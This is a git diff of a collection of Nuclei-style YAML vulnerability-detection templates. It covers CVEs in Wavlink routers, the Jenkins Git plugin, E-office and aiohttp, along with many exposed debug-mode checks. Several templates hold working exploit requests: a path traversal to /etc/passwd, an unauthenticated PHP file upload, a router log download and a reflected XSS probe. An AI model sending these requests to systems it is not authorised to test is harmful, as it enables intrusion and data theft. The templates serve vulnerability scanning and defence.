WN530HG4 M30HG4.V5030.191116 allows unauthenticated attackers to download log files and configuration data. - reference: - - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34049 - - https://drive.google.com/file/d/1ZeSwqu04OghLQXeG7emU-w-Amgadafqx/view?usp=sharing - - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view?usp=sharing - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2022-34049 - cwe-id: CWE-552 - metadata: - shodan-query: http.title:"Wi-Fi APP Login" - verified: "true" - tags: cve,cve2022,wavlink,router,exposure -requests: - - raw: - - | - GET /cgi-bin/ExportLogs.sh HTTP/1.1 - Host: {{Hostname}} - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'Login' - - 'Password' - condition: and - - type: word - part: header - words: - - filename="sysLogs.txt" - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-36883(1).yaml b/poc/cve/cve-2022-36883(1).yaml new file mode 100644 index 0000000000..2be945f370 --- /dev/null +++ b/poc/cve/cve-2022-36883(1).yaml @@ -0,0 +1,27 @@ +id: CVE-2022-36883 +info: + name: A missing permission check in Jenkins Git Plugin 4.11.3 and earlier allows unauthenticated attackers to trigger builds of jobs configured to use an attacker-specified Git repository and to cause them to check out an attacker-specified commit. + severity: high + author: c-sh0 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-36883 + - https://www.jenkins.io/security/advisory/2022-07-27/#SECURITY-284 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N + cvss-score: 7.5 + cve-id: CVE-2022-36883 + cwe-id: CWE-862 + tags: cve,cve2022,jenkins,plugin,git,unauth +requests: + - method: GET + path: + - "{{BaseURL}}/git/notifyCommit?url={{randstr}}&branches={{randstr}}" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: body + words: + - '{{randstr}}' diff --git a/poc/cve/cve-2023-2523.yaml b/poc/cve/cve-2023-2523.yaml new file mode 100644 index 0000000000..40f71b1ff6 --- /dev/null +++ b/poc/cve/cve-2023-2523.yaml @@ -0,0 +1,39 @@ +id: CVE-2023-2523 + +info: + name: E-office 任意文件上传-mobile_upload_save + author: Rabb1ter + severity: critical + description: 泛微e-office 9.5版本App/Ajax/ajax.php?action=mobile_upload_save 的一些未知功能存在问题。 参数 upload_quwan 的操作导致不受限制的上传,未经身份验证的恶意攻击者通过上传恶意文件,从而获取目标服务器的控制权限 + classification: + cve-id: CVE-2023-2523 + +requests: + - raw: + - | + POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Accept-Encoding: gzip, deflate + Accept-Language: zh-CN,zh;q=0.9 + Connection: close + Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt + + ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt + Content-Disposition: form-data; name="upload_quwan"; filename="fh812y34hu02tysf23.php." + Content-Type: image/jpeg + + + + -------WebKitFormBoundarydRVCGWq4Cx3Sq6tt + Content-Disposition: form-data; name="file"; filename="" + Content-Type: application/octet-stream + matchers: + - type: word + words: + - "fh812y34hu02tysf23.php" + part: body + + - type: status + status: + - 200 \ No newline at end of file diff --git a/poc/cve/cve-2024-23334.yaml b/poc/cve/cve-2024-23334.yaml new file mode 100644 index 0000000000..78575c8946 --- /dev/null +++ b/poc/cve/cve-2024-23334.yaml @@ -0,0 +1,49 @@ +id: CVE-2024-23334 + +info: + name: aiohttp - Directory Traversal + author: DhiyaneshDk + severity: high + description: | + aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue. + reference: + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/ + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/ + - https://x.com/W01fh4cker/status/1762491210953060827?s=20 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2024-23334 + cwe-id: CWE-22 + epss-score: 0.00073 + epss-percentile: 0.29411 + cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: aiohttp + product: aiohttp + tags: cve,cve2024,aiohttp,lfi + +http: + - method: GET + path: + - '{{BaseURL}}/static/../../../../etc/passwd' + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: word + part: header + words: + - "aiohttp" + - "application/octet-stream" + condition: and + + - type: status + status: + - 200 +# digest: 490a00463044022022285e422fa347d671b03da02098bba372e799498b869d43b4581a4d494a4a4f02205d93e2c0aa8133a30dce9c899750a3eddda98459129c837c00b74facc65d91f2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/resin-cnnvd-200705-315-9867.yaml b/poc/cve/resin-cnnvd-200705-315-9867.yaml index 8cb1cfac33..d8d59352f8 100644 --- a/poc/cve/resin-cnnvd-200705-315-9867.yaml +++ b/poc/cve/resin-cnnvd-200705-315-9867.yaml @@ -3,10 +3,9 @@ info: name: Caucho Resin Information Disclosure author: princechaddha severity: high - reference: + reference: | - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200705-315 tags: resin,caucho,lfr - requests: - method: GET path: @@ -16,7 +15,6 @@ requests: - type: status status: - 200 - - type: word words: - "/ ../web-inf/" diff --git a/poc/debug/Django-DebugMode.yaml b/poc/debug/Django-DebugMode.yaml index b600a7c4c2..ca907b812d 100644 --- a/poc/debug/Django-DebugMode.yaml +++ b/poc/debug/Django-DebugMode.yaml @@ -1,10 +1,8 @@ -id : Django-DebugMode - +id: Django-DebugMode info: name: Django Debug Mode True author: GodfatherOrwa&JafarAlQudah1 severity: high - requests: - method: GET path: @@ -14,5 +12,5 @@ requests: words: - "DEBUG = True" - "DEBUG=True." - part: body - condition: or + part: body + condition: or diff --git a/poc/debug/android-debug-database-exposed-316.yaml b/poc/debug/android-debug-database-exposed-312.yaml similarity index 100% rename from poc/debug/android-debug-database-exposed-316.yaml rename to poc/debug/android-debug-database-exposed-312.yaml diff --git a/poc/debug/android-debug-database-exposed-314.yaml b/poc/debug/android-debug-database-exposed-314.yaml index 94bf98c494..7d5539db2a 100644 --- a/poc/debug/android-debug-database-exposed-314.yaml +++ b/poc/debug/android-debug-database-exposed-314.yaml @@ -1,24 +1,23 @@ -id: android-debug-database-exposed - -info: - name: Android Debug Manager - author: dhiyaneshDK - severity: low - reference: - - https://www.shodan.io/search?query=http.title%3A%22Android+Debug+Database%22 - tags: unauth,android - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - words: - - 'Android Debug Database' - - - type: status - status: - - 200 +id: android-debug-database-exposed + +info: + name: Android Debug Manager + author: dhiyaneshDK + severity: low + reference: https://www.shodan.io/search?query=http.title%3A%22Android+Debug+Database%22 + tags: unauth,android + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + words: + - 'Android Debug Database' + + - type: status + status: + - 200 diff --git a/poc/debug/aspx-debug-mode-575.yaml b/poc/debug/aspx-debug-mode-575.yaml deleted file mode 100644 index 97a411ee38..0000000000 --- a/poc/debug/aspx-debug-mode-575.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: aspx-debug-mode - -info: - name: ASP.NET Debugging Enabled - author: dhiyaneshDk - severity: info - reference: https://portswigger.net/kb/issues/00100800_asp-net-debugging-enabled - tags: debug - -requests: - - raw: - - | - DEBUG /Foobar-debug.aspx HTTP/1.1 - Host: {{Hostname}} - Command: stop-debug - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Content-Length: 2 - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - 'OK' - part: body - - type: word - words: - - 'Content-Length: 2' - part: header diff --git a/poc/debug/aspx-debug-mode-578.yaml b/poc/debug/aspx-debug-mode-578.yaml new file mode 100644 index 0000000000..1879d55864 --- /dev/null +++ b/poc/debug/aspx-debug-mode-578.yaml @@ -0,0 +1,33 @@ +id: aspx-debug-mode + +info: + name: ASP.NET Debugging Enabled + author: dhiyaneshDk + severity: info + reference: https://portswigger.net/kb/issues/00100800_asp-net-debugging-enabled + tags: debug + +requests: + - raw: + - | + DEBUG /Foobar-debug.aspx HTTP/1.1 + Host: {{Hostname}} + Command: stop-debug + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Content-Length: 2 + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - 'OK' + part: body + - type: word + words: + - 'Content-Length: 2' + part: header diff --git a/poc/debug/aspx-debug-mode-579.yaml b/poc/debug/aspx-debug-mode-579.yaml index 1879d55864..97a411ee38 100644 --- a/poc/debug/aspx-debug-mode-579.yaml +++ b/poc/debug/aspx-debug-mode-579.yaml @@ -13,9 +13,7 @@ requests: DEBUG /Foobar-debug.aspx HTTP/1.1 Host: {{Hostname}} Command: stop-debug - User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Accept-Language: en-US,en;q=0.5 Content-Length: 2 matchers-condition: and diff --git a/poc/debug/aspx-debug-mode-577.yaml b/poc/debug/aspx-debug-mode.yaml similarity index 100% rename from poc/debug/aspx-debug-mode-577.yaml rename to poc/debug/aspx-debug-mode.yaml diff --git a/poc/debug/browserless-debugger-794.yaml b/poc/debug/browserless-debugger-794.yaml new file mode 100644 index 0000000000..f41cfa015f --- /dev/null +++ b/poc/debug/browserless-debugger-794.yaml @@ -0,0 +1,29 @@ +id: browserless-debugger + +info: + name: Exposed Browserless debugger + author: ggranjus + severity: medium + description: Browserless instance can be used to make web requests. May worth checking /workspace for juicy files. + reference: https://docs.browserless.io/docs/docker.html#securing-your-instance + metadata: + shodan-query: 'http.title:"browserless debugger"' + tags: browserless,unauth,debug + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "browserless debugger" + - "Click the ► button to run your code." + condition: or + + - type: status + status: + - 200 \ No newline at end of file diff --git a/poc/debug/browserless-debugger-795.yaml b/poc/debug/browserless-debugger-795.yaml index f41cfa015f..9be054bac6 100644 --- a/poc/debug/browserless-debugger-795.yaml +++ b/poc/debug/browserless-debugger-795.yaml @@ -5,12 +5,14 @@ info: author: ggranjus severity: medium description: Browserless instance can be used to make web requests. May worth checking /workspace for juicy files. - reference: https://docs.browserless.io/docs/docker.html#securing-your-instance + reference: + - https://docs.browserless.io/docs/docker.html#securing-your-instance metadata: - shodan-query: 'http.title:"browserless debugger"' - tags: browserless,unauth,debug + max-request: 1 + shodan-query: http.title:"browserless debugger" + tags: browserless,unauth,debug,misconfig -requests: +http: - method: GET path: - "{{BaseURL}}" @@ -26,4 +28,6 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 + +# digest: 4b0a00483046022100fbc099737ef182029191e896b9806e610a162693a38bcbf4fabd84a3a064ce64022100cb27dd4e8aa539c21facd415d9a3d360e356988d5e4a4f33d57178e4d1602959:922c64590222798bb761d5b6d8e72950 diff --git a/poc/debug/coldfusion-debug-xss-1152.yaml b/poc/debug/coldfusion-debug-xss-1152.yaml index ace795546b..300d94a436 100644 --- a/poc/debug/coldfusion-debug-xss-1152.yaml +++ b/poc/debug/coldfusion-debug-xss-1152.yaml @@ -1,22 +1,13 @@ id: coldfusion-debug-xss info: - name: Adobe ColdFusion - Cross-Site Scripting + name: Adobe ColdFusion Debug Page XSS author: dhiyaneshDK - severity: high - description: Adobe ColdFusion debug page contains a cross-site scripting vulnerability when the application is running on a remote host. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. - reference: - - https://github.com/jaeles-project/jaeles-signatures/blob/master/common/coldfusion-debug-xss.yaml - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N - cvss-score: 7.2 - cwe-id: CWE-79 - metadata: - max-request: 2 - shodan-query: http.component:"Adobe ColdFusion" - tags: adobe,coldfusion,xss + severity: medium + reference: https://github.com/jaeles-project/jaeles-signatures/blob/master/common/coldfusion-debug-xss.yaml + tags: adobe,xss -http: +requests: - method: GET path: - '{{BaseURL}}/CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(1)' @@ -37,5 +28,3 @@ http: - type: status status: - 200 - -# digest: 4a0a004730450220246a63d96946b39422346b3b10e4221f9afaf119a23c1ae06050dfb1ea0d43de02210096f55f517905dce84b8d7d6f44a37cfe1ccdfd9ce2dda493bcbd317c4db69baf:922c64590222798bb761d5b6d8e72950 diff --git a/poc/debug/coldfusion-debug-xss-1153.yaml b/poc/debug/coldfusion-debug-xss-1153.yaml index 4de60288e2..05809aa89a 100644 --- a/poc/debug/coldfusion-debug-xss-1153.yaml +++ b/poc/debug/coldfusion-debug-xss-1153.yaml @@ -1,34 +1,31 @@ -id: coldfusion-debug-xss - -info: - name: Adobe ColdFusion Debug Page XSS - author: dhiyaneshDK - severity: medium - description: The remote Adobe ColdFusion debug page has been left open to unauthenticated users, this could allow remote attackers to trigger a reflected cross site scripting against the visitors of the site. - reference: - - https://github.com/jaeles-project/jaeles-signatures/blob/master/common/coldfusion-debug-xss.yaml - metadata: - shodan-query: http.component:"Adobe ColdFusion" - tags: adobe,coldfusion,xss - -requests: - - method: GET - path: - - '{{BaseURL}}/CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(1)' - - '{{BaseURL}}/cfusion/debug/cf_debugFr.cfm?userPage=javascript:alert(1)' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"cf_main_cf" src="javascript:alert(1)"' - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 +id: coldfusion-debug-xss + +info: + name: Adobe ColdFusion Debug Page XSS + author: dhiyaneshDK + severity: medium + description: The remote Adobe ColdFusion debug page has been left open to unauthenticated users, this could allow remote attackers to trigger a reflected cross site scripting against the visitors of the site. + reference: https://github.com/jaeles-project/jaeles-signatures/blob/master/common/coldfusion-debug-xss.yaml + tags: adobe,coldfusion,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(1)' + - '{{BaseURL}}/cfusion/debug/cf_debugFr.cfm?userPage=javascript:alert(1)' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"cf_main_cf" src="javascript:alert(1)"' + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/poc/debug/debug-enabled-6788.yaml b/poc/debug/debug-enabled-6788.yaml deleted file mode 100644 index 1825b7d030..0000000000 --- a/poc/debug/debug-enabled-6788.yaml +++ /dev/null @@ -1,16 +0,0 @@ -id: android-debug-enabled - -info: - name: Android Debug Enabled - author: gaurang - severity: low - tags: android,file - -file: - - extensions: - - all - - matchers: - - type: regex - regex: - - "android:debuggable=\"true\"" \ No newline at end of file diff --git a/poc/debug/debug-enabled.yaml b/poc/debug/debug-enabled.yaml index e24da4be9d..1825b7d030 100644 --- a/poc/debug/debug-enabled.yaml +++ b/poc/debug/debug-enabled.yaml @@ -4,14 +4,13 @@ info: name: Android Debug Enabled author: gaurang severity: low - description: Android debug enabling was detected. tags: android,file + file: - extensions: - all + matchers: - type: regex regex: - - "android:debuggable=\"true\"" - -# digest: 4a0a0047304502203616fe532eee00daa7402f8e6595e34c0ce7bc19cc6777f164d069adb081267e022100cf17913c42a3a234371ca0236fbd066317c53d36b3c6ceabffb130eeffadbcf8:922c64590222798bb761d5b6d8e72950 + - "android:debuggable=\"true\"" \ No newline at end of file diff --git a/poc/debug/django-debug-exposure-7029.yaml b/poc/debug/django-debug-exposure-7029.yaml index a86d371cda..d2b8bf4545 100644 --- a/poc/debug/django-debug-exposure-7029.yaml +++ b/poc/debug/django-debug-exposure-7029.yaml @@ -1,19 +1,24 @@ id: django-debug-exposure + info: name: Django Debug Exposure author: geeknik - reference: https://twitter.com/Alra3ees/status/1397660633928286208 severity: high + reference: + - https://twitter.com/Alra3ees/status/1397660633928286208 tags: django,exposure + requests: - method: POST path: - "{{BaseURL}}/admin/login/?next=/admin/" + matchers-condition: and matchers: - type: status status: - 500 + - type: word part: body words: diff --git a/poc/debug/django-debug-exposure-7031.yaml b/poc/debug/django-debug-exposure-7031.yaml new file mode 100644 index 0000000000..a86d371cda --- /dev/null +++ b/poc/debug/django-debug-exposure-7031.yaml @@ -0,0 +1,24 @@ +id: django-debug-exposure +info: + name: Django Debug Exposure + author: geeknik + reference: https://twitter.com/Alra3ees/status/1397660633928286208 + severity: high + tags: django,exposure +requests: + - method: POST + path: + - "{{BaseURL}}/admin/login/?next=/admin/" + matchers-condition: and + matchers: + - type: status + status: + - 500 + - type: word + part: body + words: + - "DB_HOST" + - "DB_NAME" + - "DJANGO" + - "ADMIN_PASSWORD" + condition: and diff --git a/poc/debug/laravel-debug-enabled-8577.yaml b/poc/debug/laravel-debug-enabled-8577.yaml index 3613dbd615..7be14a40fd 100644 --- a/poc/debug/laravel-debug-enabled-8577.yaml +++ b/poc/debug/laravel-debug-enabled-8577.yaml @@ -2,18 +2,21 @@ id: laravel-debug-enabled info: name: Laravel Debug Enabled author: notsoevilweasel - description: Laravel with APP_DEBUG set to true prone to showing verbose errors. + description: Laravel with APP_DEBUG set to true is prone to show verbose errors. severity: medium tags: debug,laravel,misconfig + requests: - method: GET path: - "{{BaseURL}}/_ignition/health-check" + matchers-condition: and matchers: - type: word words: - can_execute_commands + - type: status status: - 200 diff --git a/poc/debug/laravel-debug-enabled.yaml b/poc/debug/laravel-debug-enabled.yaml deleted file mode 100644 index 7be14a40fd..0000000000 --- a/poc/debug/laravel-debug-enabled.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: laravel-debug-enabled -info: - name: Laravel Debug Enabled - author: notsoevilweasel - description: Laravel with APP_DEBUG set to true is prone to show verbose errors. - severity: medium - tags: debug,laravel,misconfig - -requests: - - method: GET - path: - - "{{BaseURL}}/_ignition/health-check" - - matchers-condition: and - matchers: - - type: word - words: - - can_execute_commands - - - type: status - status: - - 200 diff --git a/poc/debug/php-debug-bar-9507.yaml b/poc/debug/php-debug-bar-9507.yaml deleted file mode 100644 index 98fea9bec4..0000000000 --- a/poc/debug/php-debug-bar-9507.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: php-debug-bar -info: - name: PHP Debug bar - author: dhiyaneshDk - severity: high - tags: debug,logs,exposure - -requests: - - method: GET - path: - - "{{BaseURL}}/_debugbar/open?max=20&offset=0" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - '"id":"' - - '"datetime":' - - '"method"' - condition: and - part: body - - - type: word - words: - - "application/json" - part: header \ No newline at end of file diff --git a/poc/debug/pyramid-debug-toolbar-9740.yaml b/poc/debug/pyramid-debug-toolbar-9740.yaml new file mode 100644 index 0000000000..c331cd99e1 --- /dev/null +++ b/poc/debug/pyramid-debug-toolbar-9740.yaml @@ -0,0 +1,22 @@ +id: pyramid-debug-toolbar +info: + name: Pyramid Debug Toolbar + author: geeknik + description: Pyramid Debug Toolbar provides a debug toolbar useful while you are developing your Pyramid application. + reference: https://github.com/Pylons/pyramid_debugtoolbar + severity: medium + tags: pyramid,logs,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/_debug_toolbar/" + matchers-condition: and + matchers: + - type: word + words: + - "Pyramid Debug Toolbar" + - "Pyramid DebugToolbar" + condition: and + - type: status + status: + - 200 diff --git a/poc/debug/pyramid-debug-toolbar-9741.yaml b/poc/debug/pyramid-debug-toolbar-9741.yaml index c331cd99e1..3184e3ceb5 100644 --- a/poc/debug/pyramid-debug-toolbar-9741.yaml +++ b/poc/debug/pyramid-debug-toolbar-9741.yaml @@ -1,15 +1,21 @@ id: pyramid-debug-toolbar + info: name: Pyramid Debug Toolbar author: geeknik - description: Pyramid Debug Toolbar provides a debug toolbar useful while you are developing your Pyramid application. - reference: https://github.com/Pylons/pyramid_debugtoolbar severity: medium + description: Pyramid Debug Toolbar provides a debug toolbar useful while you are developing your Pyramid application. + reference: + - https://github.com/Pylons/pyramid_debugtoolbar + metadata: + max-request: 1 tags: pyramid,logs,exposure -requests: + +http: - method: GET path: - "{{BaseURL}}/_debug_toolbar/" + matchers-condition: and matchers: - type: word @@ -17,6 +23,9 @@ requests: - "Pyramid Debug Toolbar" - "Pyramid DebugToolbar" condition: and + - type: status status: - 200 + +# digest: 4a0a0047304502203726e298675935a1a75fbcbe9ce8316c4ae6ef30822fb311a5004539662e1798022100bc0f0f98f4fcb801279da72e8eca3bf8eae9c211edcf6e89ad9bfc35f8708b32:922c64590222798bb761d5b6d8e72950 diff --git a/poc/debug/rails-debug-mode-9806.yaml b/poc/debug/rails-debug-mode-9806.yaml deleted file mode 100644 index 235b8f7e64..0000000000 --- a/poc/debug/rails-debug-mode-9806.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: rails-debug-mode -info: - name: Rails Debug Mode - author: pdteam - severity: medium - tags: debug,rails,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/{{randstr}}" - matchers: - - type: word - part: body - words: - - "Rails.root:" - - "Action Controller: Exception caught" - condition: and diff --git a/poc/debug/rails-debug-mode-9807.yaml b/poc/debug/rails-debug-mode-9807.yaml new file mode 100644 index 0000000000..fe31371bfd --- /dev/null +++ b/poc/debug/rails-debug-mode-9807.yaml @@ -0,0 +1,17 @@ +id: rails-debug-mode +info: + name: Rails Debug Mode Enabled + author: pdteam + severity: medium + tags: logs,rails,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/1238a92f573a48e58d356c42ca2c9610" + matchers: + - type: word + words: + - "Rails.root:" + - "Action Controller: Exception caught" + condition: and + part: body diff --git a/poc/debug/rails-debug-mode.yaml b/poc/debug/rails-debug-mode.yaml index fe31371bfd..3370092855 100644 --- a/poc/debug/rails-debug-mode.yaml +++ b/poc/debug/rails-debug-mode.yaml @@ -1,17 +1,24 @@ id: rails-debug-mode + info: - name: Rails Debug Mode Enabled + name: Rails Debug Mode author: pdteam severity: medium - tags: logs,rails,exposure -requests: + metadata: + max-request: 1 + tags: debug,rails,exposure,intrusive + +http: - method: GET path: - - "{{BaseURL}}/1238a92f573a48e58d356c42ca2c9610" + - "{{BaseURL}}/{{randstr}}" + matchers: - type: word + part: body words: - "Rails.root:" - "Action Controller: Exception caught" condition: and - part: body + +# digest: 4a0a00473045022042854b3919b39517b14a29a2b82cbe314d47bcd6a3bfa0c0bb8133dc4eb77102022100abc956e89335f1aa821e643e9c9ef86e86ab29a14d64e97c815af063b1ea75d8:922c64590222798bb761d5b6d8e72950 diff --git a/poc/debug/sitecore-debug-page.yaml b/poc/debug/sitecore-debug-page.yaml index fb20cc6d6e..c8b42ace8d 100644 --- a/poc/debug/sitecore-debug-page.yaml +++ b/poc/debug/sitecore-debug-page.yaml @@ -1,20 +1,27 @@ id: sitecore-debug-page + info: name: SiteCore Debug Page author: dhiyaneshDK severity: low metadata: - shodan-query: 'http.title:"Welcome to Sitecore"' - tags: debug,sitecore -requests: + max-request: 1 + shodan-query: http.title:"Welcome to Sitecore" + tags: debug,sitecore,misconfig + +http: - method: GET path: - "{{BaseURL}}/sitecore/'" + matchers-condition: and matchers: - type: word words: - 'extranet\Anonymous' + - type: status status: - 404 + +# digest: 4b0a00483046022100e0d27a732d40ca81dff4d34416118142dff5de7a6f7171f3ba4184323a83e0bb022100db0891f1ea6c42d621426369e769fe68b2fe7a9a17374fa22004ccacf35a5a98:922c64590222798bb761d5b6d8e72950 diff --git a/poc/debug/struts-debug-mode-10560.yaml b/poc/debug/struts-debug-mode-10560.yaml new file mode 100644 index 0000000000..ade1eefb66 --- /dev/null +++ b/poc/debug/struts-debug-mode-10560.yaml @@ -0,0 +1,16 @@ +id: struts-debug-mode +info: + name: Apache Struts setup in Debug-Mode + author: pdteam + severity: low + tags: logs,struts,apache,exposure,setup +requests: + - method: GET + path: + - '{{BaseURL}}' + matchers: + - type: word + words: + - "" + - "" + condition: and diff --git a/poc/debug/struts-debug-mode-10561.yaml b/poc/debug/struts-debug-mode-10561.yaml deleted file mode 100644 index a76bb40533..0000000000 --- a/poc/debug/struts-debug-mode-10561.yaml +++ /dev/null @@ -1,16 +0,0 @@ -id: struts-debug-mode -info: - name: Apache Struts setup in Debug-Mode - author: pdteam - severity: low - tags: logs,struts,apache,exposure -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "" - - "" - condition: and diff --git a/poc/debug/struts-debug-mode.yaml b/poc/debug/struts-debug-mode.yaml index c0200646a2..a76bb40533 100644 --- a/poc/debug/struts-debug-mode.yaml +++ b/poc/debug/struts-debug-mode.yaml @@ -1,23 +1,16 @@ id: struts-debug-mode - info: name: Apache Struts setup in Debug-Mode author: pdteam severity: low - metadata: - max-request: 1 - tags: logs,struts,apache,exposure,setup - -http: + tags: logs,struts,apache,exposure +requests: - method: GET path: - '{{BaseURL}}' - matchers: - type: word words: - "" - "" condition: and - -# digest: 4a0a0047304502203e193bb76801bc76123140882134856dfcf09eb0ed39471b851936d1e3feca7002210087fad05a15bf6288fa4cf78481d7d96d7a803510f292313612070571958dff18:922c64590222798bb761d5b6d8e72950 diff --git a/poc/debug/symfony-debugmode-10618.yaml b/poc/debug/symfony-debugmode-10618.yaml new file mode 100644 index 0000000000..b4a201f8e9 --- /dev/null +++ b/poc/debug/symfony-debugmode-10618.yaml @@ -0,0 +1,24 @@ +id: symfony-debugmode +info: + name: Symfony Debug Mode + author: organiccrap,pdteam + severity: high + description: The remote Symfony installations appears to have left the 'debug' interface enabled, allowing the disclosure and possible execution of arbitrary code. + reference: https://github.com/synacktiv/eos + tags: symfony,debug +requests: + - method: GET + path: + - '{{BaseURL}}' + matchers-condition: or + matchers: + - type: word + words: + - 'X-Debug-Token-Link:' + - '/_profiler/' + part: header + condition: and + - type: word + words: + - 'debug mode is enabled.' + part: body diff --git a/poc/debug/symfony-debugmode-10620.yaml b/poc/debug/symfony-debugmode-10620.yaml deleted file mode 100644 index af1282c0d0..0000000000 --- a/poc/debug/symfony-debugmode-10620.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: symfony-debugmode -info: - name: Symfony Debug Mode - author: organiccrap,pdteam - severity: high - description: A Symfony installations 'debug' interface is enabled, allowing the disclosure and possible execution of arbitrary code. - reference: - - https://github.com/synacktiv/eos - tags: symfony,debug -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers-condition: or - matchers: - - type: word - words: - - 'X-Debug-Token-Link:' - - '/_profiler/' - part: header - condition: and - - type: word - words: - - 'debug mode is enabled.' - part: body - -# Enhanced by mp on 2022/04/12 diff --git a/poc/debug/symfony-debugmode-10623.yaml b/poc/debug/symfony-debugmode-10623.yaml index e9dae3427f..af1282c0d0 100644 --- a/poc/debug/symfony-debugmode-10623.yaml +++ b/poc/debug/symfony-debugmode-10623.yaml @@ -1,29 +1,27 @@ id: symfony-debugmode - info: name: Symfony Debug Mode author: organiccrap,pdteam severity: high - description: The remote Symfony installations appears to have left the 'debug' interface enabled, allowing the disclosure and possible execution of arbitrary code. - reference: https://github.com/synacktiv/eos + description: A Symfony installations 'debug' interface is enabled, allowing the disclosure and possible execution of arbitrary code. + reference: + - https://github.com/synacktiv/eos tags: symfony,debug - requests: - method: GET path: - '{{BaseURL}}' - matchers-condition: or matchers: - - type: word words: - 'X-Debug-Token-Link:' - '/_profiler/' part: header condition: and - - type: word words: - 'debug mode is enabled.' - part: body \ No newline at end of file + part: body + +# Enhanced by mp on 2022/04/12 diff --git a/poc/debug/wamp-xdebug-detect-11104.yaml b/poc/debug/wamp-xdebug-detect-11103.yaml similarity index 100% rename from poc/debug/wamp-xdebug-detect-11104.yaml rename to poc/debug/wamp-xdebug-detect-11103.yaml diff --git a/poc/debug/werkzeug-debugger-detect-11198.yaml b/poc/debug/werkzeug-debugger-detect-11198.yaml index aa90f4c1a3..fe448bbca2 100644 --- a/poc/debug/werkzeug-debugger-detect-11198.yaml +++ b/poc/debug/werkzeug-debugger-detect-11198.yaml @@ -4,14 +4,19 @@ info: name: Werkzeug debugger console author: pdteam severity: info + metadata: + max-request: 1 tags: tech,werkzeug -requests: +http: - method: GET path: - "{{BaseURL}}/console" + matchers: - type: word words: - "

Interactive Console

